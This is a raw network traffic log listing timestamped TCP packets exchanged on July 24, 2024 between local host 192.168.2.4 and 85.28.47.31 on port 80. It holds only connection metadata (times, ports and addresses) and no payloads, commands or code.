Jul 24, 2024 02:39:08.193197966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193233967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193312883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193346024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193372011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193378925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193388939 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193412066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193438053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193444967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193455935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193479061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193506956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193511963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193526030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193548918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.193574905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.193595886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278074980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278153896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278171062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278192043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278227091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278263092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278266907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278266907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278307915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278316975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278352022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278366089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278386116 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278399944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278422117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278448105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278455973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278489113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278503895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278522968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278548002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278557062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278573036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278590918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278625011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278625965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278650999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278659105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278669119 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278692961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278718948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278729916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278734922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278786898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278840065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278872967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278906107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278918982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.278939009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278973103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.278974056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279006004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279007912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279032946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279040098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279056072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279073954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279090881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279107094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279140949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279156923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279175043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279191017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279207945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279222965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279242039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279253960 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279278040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279290915 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279321909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279453039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279484987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279525042 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279551029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279561043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279575109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279594898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279608011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279628038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279644012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279660940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279673100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279694080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279710054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279727936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279740095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279759884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279777050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279793978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279804945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279825926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279843092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279860020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279875040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279894114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.279905081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.279951096 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.285697937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.285751104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.285778046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.285784960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.285798073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.285816908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.285832882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.285851002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.285865068 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.285883904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.285913944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.285917997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.285952091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.285970926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286107063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286156893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286175013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286190033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286206007 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286222935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286256075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286256075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286298037 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286323071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286348104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286380053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286392927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286413908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286464930 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286465883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286518097 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286535978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286572933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286591053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286621094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286663055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286700010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286700010 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286715031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286752939 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286775112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286799908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286807060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286818981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286844015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286864996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286873102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286890030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286906004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286919117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286938906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286952019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.286971092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.286983967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287004948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287017107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287056923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287077904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287111044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287126064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287142992 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287161112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287175894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287194014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287230015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287240982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287262917 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287296057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287323952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287329912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287343025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287364006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287391901 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287396908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287406921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287429094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287455082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287462950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287472963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287496090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287523031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287540913 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287542105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287575960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287600994 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287609100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287642002 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287642002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287678003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287684917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287684917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287760973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287807941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287841082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287856102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287875891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287888050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287908077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287925005 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287941933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287950039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.287974119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.287996054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288017988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288105965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288139105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288178921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288203955 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288211107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288237095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288259029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288281918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288290977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288301945 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288324118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288351059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288357019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288387060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288389921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288400888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288424015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288438082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288469076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288577080 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288609982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288638115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288644075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288661003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288680077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.288691998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.288728952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.367933989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368010998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368010044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368046999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368077040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368082047 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368108034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368115902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368132114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368165970 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368177891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368211985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368228912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368257999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368264914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368298054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368310928 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368331909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368346930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368366003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368377924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368401051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368433952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368433952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368458986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368469954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368493080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368520975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368530989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368571997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368585110 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368619919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368855000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368889093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368918896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368921995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368936062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368957043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.368984938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.368989944 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369004011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369024038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369040012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369056940 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369069099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369091034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369107962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369127035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369132996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369160891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369174004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369195938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369210005 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369241953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369329929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369364977 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369389057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369412899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369415998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369448900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369482994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369513988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369515896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369533062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369550943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369577885 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369585037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369599104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369621038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.369636059 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.369682074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.410757065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.416073084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640702009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640758991 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640777111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640793085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640811920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640826941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640844107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640858889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640876055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640908957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640949965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.640981913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641016006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641050100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641083002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641112089 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641145945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641181946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641210079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641242027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:08.641259909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641259909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641259909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:08.641259909 CEST	49730	80	192.168.2.4	85.28.47.31
